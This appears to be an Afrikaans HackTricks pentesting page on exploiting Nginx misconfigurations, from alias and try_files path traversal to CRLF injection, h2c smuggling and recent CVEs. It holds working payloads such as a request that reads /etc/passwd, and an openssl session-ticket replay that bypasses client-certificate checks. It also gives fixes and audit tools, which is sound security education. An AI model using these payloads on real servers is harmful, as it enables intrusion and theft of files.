Nginx
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Ontbrekende root-ligging
Wanneer jy die Nginx-bediener konfigureer, speel die root directive ân kritieke rol deur die basisdirektorie te definieer waarvan lĂȘers bedien word. Oorweeg die volgende voorbeeld:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
In hierdie konfigurasie is /etc/nginx aangewys as die root directory. Hierdie opstelling gee toegang tot lĂȘers binne die gespesifiseerde root directory, soos /hello.txt. Dit is egter belangrik om te let dat slegs ân spesifieke location (/hello.txt) gedefinieer is. Daar is geen konfigurasie vir die root location (location / {...}) nie. Hierdie weglating beteken dat die root-direktief global toepaslik is, wat versoeke na die root-pad / in staat stel om lĂȘers onder /etc/nginx te bereik.
ân Kritieke sekuriteitsaspek ontstaan uit hierdie konfigurasie. ân Eenvoudige GET versoek, soos GET /nginx.conf, kan sensitiewe inligting openbaar deur die Nginx-konfigurasielĂȘer by /etc/nginx/nginx.conf te bedien. Om die root op ân minder sensitiewe gids, soos /etc, te stel kan hierdie risiko verminder, maar dit kan steeds onbedoelde toegang tot ander kritieke lĂȘers moontlik maak, insluitend ander konfigurasielĂȘers, access logs, en selfs geĂ«nkripteerde credentials wat vir HTTP basic authentication gebruik word.
Alias LFI Misconfigurasie
In die konfigurasielĂȘers van Nginx is ân noukeurige inspeksie van die âlocationâ directives nodig. ân Kwesbaarheid bekend as Local File Inclusion (LFI) kan per ongeluk geĂŻntroduseer word deur ân konfigurasie wat soos volg lyk:
location /imgs {
alias /path/images/;
}
Hierdie konfiguratie is vatbaar vir LFI-aanvalle omdat die bediener versoeke soos /imgs../flag.txt interpreteer as ân poging om toegang tot lĂȘers buite die bedoelde gids te kry, wat effektief oplos na /path/images/../flag.txt. Hierdie fout laat aanvallers toe om lĂȘers van die bediener se lĂȘerstelsel te verkry wat nie via die web toeganklik behoort te wees nie.
Om hierdie kwesbaarheid te verminder, moet die konfigurasie aangepas word om:
location /imgs/ {
alias /path/images/;
}
Meer inligting: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Accunetix toetse:
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
Onveilige pad-beperking
Kyk na die volgende bladsy om te leer hoe om directives soos die volgende te bypass:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
Onveilige veranderlike gebruik / HTTP Request Splitting
Caution
Kwetsbare veranderlikes
$urien$document_uri en dit kan reggemaak word deur dit te vervang met$request_uri.ân regex kan ook kwesbaar wees soos:
location ~ /docs/([^/])? { ⊠$1 ⊠}- Kwetsbaar
location ~ /docs/([^/\s])? { ⊠$1 ⊠}- Nie kwesbaar nie (kontroleer spasies)
location ~ /docs/(.*)? { ⊠$1 ⊠}- Nie kwesbaar nie
ân kwesbaarheid in Nginx-konfigurasie word gedemonstreer deur die voorbeeld hieronder:
location / {
return 302 https://example.com$uri;
}
Die karakters \r (Carriage Return) en \n (Line Feed) dui nuwe reĂ«l-karakters in HTTP-versoeke aan, en hul URL-gekodeerde vorms word voorgestel as %0d%0a. Om hierdie karakters in ân versoek in te sluit (bv. http://localhost/%0d%0aDetectify:%20clrf) na ân wan-gekonfigureerde bediener veroorsaak dat die bediener ân nuwe kopstuk met die naam Detectify uitreik. Dit gebeur omdat die $uri-variabele die URL-gekodeerde nuwe reĂ«l-karakters dekodeer, wat lei tot ân onverwagte kopstuk in die antwoord:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
Leer meer oor die risikoâs van CRLF injection en response splitting by https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.
Hierdie tegniek word ook verduidelik in hierdie praatjie met sommige kwesbare voorbeelde en deteksie-meganismes. Byvoorbeeld, om hierdie miskonfigurasie vanuit ân blackbox-perspektief te ontdek, kan jy hierdie versoeke probeer:
https://example.com/%20X- Any HTTP codehttps://example.com/%20H- 400 Bad Request
As dit kwesbaar is, sal die eerste terugkeer omdat âXâ enige HTTP-metode is en die tweede ân fout teruggee omdat H nie ân geldige metode is nie. Die bediener sal dus iets ontvang soos: GET / H HTTP/1.1 en dit sal die fout veroorsaak.
Nog opsporingsvoorbeelde sou wees:
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- Any HTTP codehttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
Sommige kwesbare konfigurasies wat in daardie praatjie aangebied is, was:
- Let daarop hoe
$urisoos dit is gestel word in die finale URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- Let op hoe
$uriweer in die URL is (dit keer binne ân parameter)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- Nou in AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
Enige veranderlike
Daar is ontdek dat deur gebruiker-verskafte data onder sekere omstandighede as ân Nginx-variabele behandel kan word. Die oorsaak van hierdie gedrag bly ietwat onduidelik, maar dit is nie ongewoon nie en nie maklik om te verifieer nie. Hierdie anomalie is uitgelig in ân sekuriteitsverslag op HackerOne, wat here besigtig kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifikasie daarvan binne die SSI filter module of Nginxâs codebase, en het Server Side Includes (SSI) as die wortel-oorzaak aangewys.
Om hierdie miskonfigurasie op te spoor, kan die volgende opdrag uitgevoer word; dit stel ân referer header om te toets of veranderlikes uitgegee word:
$ curl -H âReferer: barâ http://localhost/foo$http_referer | grep âfoobarâ
Skanderings vir hierdie wanopstelling oor stelsels het verskeie gevalle opgespoor waar Nginx-variabeles deur ân gebruiker vertoon kon word. Daar is egter ân afname in die aantal kwesbare gevalle, wat daarop dui dat pogings om hierdie probleem te lap gedeeltelik suksesvol was.
Gebruik van try_files met $URI$ARGS-variabeles
Volgende Nginx-wanopstelling kan tot ân LFI-kwesbaarheid lei:
location / {
try_files $uri$args $uri$args/ /index.html;
}
In ons konfigurasie het ons die direktief try_files wat gebruik word om die bestaan van lĂȘers in ân gespesifiseerde volgorde te kontroleer. Nginx sal die eerste een wat dit vind, bedien. Die basiese sintaksis van die try_files direktief is soos volg:
try_files file1 file2 ... fileN fallback;
Nginx sal die bestaan van elke lĂȘer in die gespesifiseerde volgorde nagaan. As ân lĂȘer bestaan, sal dit onmiddellik bedien word. As geen van die gespesifiseerde lĂȘers bestaan nie, sal die versoek na die fallback-opsie gestuur word, wat ân ander URI of ân spesifieke foutbladsy kan wees.
Echter, wanneer jy $uri$args veranderlikes in hierdie direktief gebruik, sal Nginx probeer soek na ân lĂȘer wat ooreenstem met die versoek-URI gekombineer met enige query string-argumente. Daarom kan ons hierdie konfigurasie uitbuit:
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
Met die volgende payload:
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
Met ons payload ontsnap ons die root directory (gedefinieer in die Nginx-konfigurasie) en laai die /etc/passwd lĂȘer. In debug logs kan ons sien hoe Nginx die lĂȘers probeer:
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
PoC teen Nginx wat die bogenoemde konfiguratie gebruik:

Rou backend-antwoord uitlees
Nginx bied ân funksie via proxy_pass wat die onderskepping van foute en HTTP-headers wat deur die backend gegenereer word, moontlik maak, met die doel om interne foutboodskappe en headers te verberg. Dit word bereik deurdat Nginx pasgemaakte foutbladsye bedien as reaksie op backend-foute. Daar ontstaan egter probleme wanneer Nginx ân ongeldig HTTP-versoek teĂ«kom. So ân versoek word soos ontvang na die backend deurgestuur, en die backend se rou antwoord word dan direk aan die kliĂ«nt gestuur sonder Nginx se inmenging.
Oorweeg ân voorbeeldscenario wat ân uWSGI-toepassing betrek:
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
Om dit te bestuur, word spesifieke direktiewe in die Nginx-konfigurasie gebruik:
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: Hierdie direktief stel Nginx in staat om ân maatgemaakte respons te lewer vir backend-antwoorde met ân statuskode groter as 300. Dit verseker dat, vir ons voorbeeld uWSGI-toepassing, ân
500 Errorrespons onderskep en deur Nginx hanteer word. - proxy_hide_header: Soos die naam aandui, verberg hierdie direktief gespesifiseerde HTTP headers van die kliënt, wat privaatheid en sekuriteit verbeter.
Wanneer ân geldige GET versoek gemaak word, verwerk Nginx dit normaalweg en gee ân standaard foutrespons terug sonder om enige geheime headers te openbaar. ân Ongeldige HTTP-versoek omseil egter hierdie meganisme, wat lei tot die blootstelling van rou backend-antwoorde, insluitend geheime headers en foutboodskappe.
merge_slashes set to off
Standaard is Nginx se merge_slashes directive op on gestel, wat meervoudige voorwaartse skuinsstrepe in ân URL saamdruk tot ân enkele skuinsstreep. Hierdie funksie, hoewel dit URL-verwerking vereenvoudig, kan per ongeluk kwesbaarhede in toepassings agter Nginx verberg, veral diĂ© vatbaar vir local file inclusion (LFI) attacks. Security experts Danny Robinson and Rotem Bar het die potensiĂ«le risikoâs van hierdie standaardgedrag beklemtoon, veral wanneer Nginx as ân reverse-proxy optree.
Om sulke risikoâs te verminder, word dit aanbeveel om die merge_slashes direktief af te skakel vir toepassings wat vir hierdie kwesbaarhede vatbaar is. Dit verseker dat Nginx versoeke na die toepassing deurstuur sonder om die URL-struktuur te verander, en sodoende geen onderliggende sekuriteitsprobleme wegsteek.
For more information check Danny Robinson and Rotem Bar.
Maclicious Response Headers
Soos getoon in this writeup, is daar sekere headers wat, indien teenwoordig in die respons van die webbediener, die gedrag van die Nginx-proxy sal verander. You can check them in the docs:
X-Accel-Redirect: Dui aan dat Nginx ân versoek intern moet herlei na ân gespesifiseerde ligging.X-Accel-Buffering: Beheer of Nginx die respons moet buffer of nie.X-Accel-Charset: Stel die karakterstel vir die respons in wanneer X-Accel-Redirect gebruik word.X-Accel-Expires: Stel die vervaltyd vir die respons in wanneer X-Accel-Redirect gebruik word.X-Accel-Limit-Rate: Beperk die oordragspoed vir responsies wanneer X-Accel-Redirect gebruik word.
Byvoorbeeld, die header X-Accel-Redirect sal ân interne omleiding in die nginx veroorsaak. Dus, ân nginx-konfigurasie met iets soos root / en ân respons van die webbediener met X-Accel-Redirect: .env sal nginx laat die inhoud van /.env stuur (Path Traversal).
Default Value in Map Directive
In die Nginx configuration, die map directive speel dikwels ân rol in toegangsbeheer. ân Algemene fout is om nie ân default waarde te spesifiseer nie, wat tot ongemagtigde toegang kan lei. For instance:
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
Sonder ân default kan ân malicious user sekuriteit omseil deur toegang te kry tot ân undefined URI binne /map-poc. The Nginx manual beveel aan om ân standaardwaarde te stel om sulke probleme te voorkom.
DNS Spoofing Vulnerability
DNS spoofing teen Nginx is moontlik onder sekere voorwaardes. As ân attacker die DNS server wat deur Nginx gebruik word ken en sy DNS queries kan onderskep, kan hulle DNS records spoof. Hierdie metode is egter ondoeltreffend as Nginx gekonfigureer is om localhost (127.0.0.1) te gebruik vir DNS-resolusie. Nginx laat toe om ân DNS server soos volg te spesifiseer:
resolver 8.8.8.8;
proxy_pass en internal Direktiewe
Die proxy_pass direktief word gebruik om versoeke na ander bedieners te herlei, hetsy intern of ekstern. Die internal direktief verseker dat sekere lokasies slegs binne Nginx bereikbaar is. Alhoewel hierdie direktiewe op sigself nie kwesbaarhede is nie, vereis hul konfigurasie noukeurige ondersoek om sekuriteitsgapings te voorkom.
proxy_set_header Upgrade & Connection
As die nginx-bediener gekonfigureer is om die Upgrade- en Connection-headers deur te gee, kan ân h2c Smuggling attack uitgevoer word om toegang tot beskermde/interne endpoints te kry.
Caution
Hierdie kwesbaarheid sal ân aanvaller toelaat om ân direkte verbinding met die
proxy_passendpoint (http://backend:9999in hierdie geval) te vestig, waarvan die inhoud nie deur nginx geverifieer gaan word nie.
Example of vulnerable configuration to steal /flag from here:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
Let wel dat selfs al het die
proxy_passna ân spesifieke path sooshttp://backend:9999/socket.iogewys, sal die verbinding methttp://backend:9999gevestig word, so jy kan contact any other path inside that internal endpoint. So it doesnât matter if a path is specified in the URL of proxy_pass.
HTTP/3 QUIC module remote DoS & leak (2024)
In 2024 het Nginx CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 en CVE-2024-35200 bekendgemaak, wat aandui dat ân single hostile QUIC session worker processes kan crash of leak memory wanneer die eksperimentele ngx_http_v3_module saamgekompileer is en ân listen ... quic socket blootgestel word. Getroffen builds is 1.25.0â1.25.5 en 1.26.0, terwyl 1.27.0/1.26.1 die fixes bevat; die memory disclosure (CVE-2024-34161) vereis verder MTUs groter as 4096 bytes om sensitiewe data aan die oppervlak te bring (besonderhede in die 2024 nginx advisory hieronder).
Recon & exploitation hints
- HTTP/3 is opt-in, so scan for
Alt-Svc: h3=":443"responses or brute-force UDP/443 QUIC handshakes; once confirmed, fuzz the handshake and STREAM frames with customquiche-client/nghttp3payloads to trigger worker crashes and force log leakage. - Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
TLS session resumption bypass of client cert auth (CVE-2025-23419)
ân Februarie 2025-advies het bekend gemaak dat nginx 1.11.4â1.27.3 gebou met OpenSSL toelaat om ân TLS 1.3-sessie te hergebruik van een name-based virtual host binne ân ander, sodat ân kliĂ«nt wat met ân sertifikaat-vrye host onderhandeld het die ticket/PSK kan her-speel om in ân vhost wat met ssl_verify_client on; beskerm is in te spring en mTLS heeltemal oor te slaan. Die fout tree op wanneer verskeie virtual hosts dieselfde TLS 1.3 session cache en tickets deel (sien die 2025 nginx advisory hieronder).
Aanvaller speelboek
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
As die teiken kwesbaar is, voltooi die tweede handshake sonder om ân kliĂ«ntsertifikaat voor te lĂȘ, wat beskermde plekke openbaar.
Wat om te oudit
- Gemengde
server_nameblokke watssl_session_cache shared:SSLenssl_session_tickets on;deel. - Admin/API blokke wat mTLS verwag maar gedeelde session cache/ticket-instellings van publieke hosts erf.
- Outomatisering wat TLS 1.3 session resumption globaal aanskakel (bv. Ansible roles) sonder om vhost-isolasie in ag te neem.
HTTP/2 Rapid Reset weerbaarheid (CVE-2023-44487 gedrag)
Die HTTP/2 Rapid Reset-aanval (CVE-2023-44487) raak nog steeds nginx wanneer operators keepalive_requests of http2_max_concurrent_streams hoĂ«r as die verstekwaardes stel: ân aanvaller open een HTTP/2-verbinding, oorstroom dit met duisende streams, en stuur dan onmiddellik RST_STREAM frames sodat die konkurrensieplafon nooit bereik word nie, terwyl die CPU aanhou werk aan die tear-down-logika. Nginx verstekwaardes (128 concurrent streams, 1000 keepalive requests) hou die blast radius klein; om daardie perke âsubstansieel hoĂ«râ te skuif maak dit triviaal om workers uit te suig selfs vanaf ân enkele kliĂ«nt (sien die F5 write-up hieronder verwys).
Opsporingwenke
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
Gashere wat ongewone hoë waardes vir daardie directives openbaar, is ideale teikens: een HTTP/2-client kan herhaaldelik stroomskepping en onmiddellike RST_STREAM-frames gebruik om die CPU vas te hou sonder om die concurrency cap te tref.
Probeer dit self
Detectify het ân GitHub-repository geskep waar jy met Docker jou eie kwesbare Nginx-toetsbediener kan opstel met sommige van die misconfigurations wat in hierdie artikel bespreek word en self kan probeer om dit te vind!
https://github.com/detectify/vulnerable-nginx
Statiese ontleder-instrumente
GixyNG & GIXY
GixyNG (ân opgedateerde fork van GIXY) is ân instrument om Nginx-konfigurasies te ontleed, met die doel om vulnerabilities, onveilige directives en riskante misconfigurations te vind. Dit identifiseer ook misconfigurations wat prestasie beĂŻnvloed en ontdek ontbrakende hardening opportunities, wat geoutomatiseerde foutopsporing moontlik maak.
Nginxpwner
Nginxpwner is ân eenvoudige hulpmiddel om te soek na algemene Nginx misconfigurations en vulnerabilities.
Verwysings
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

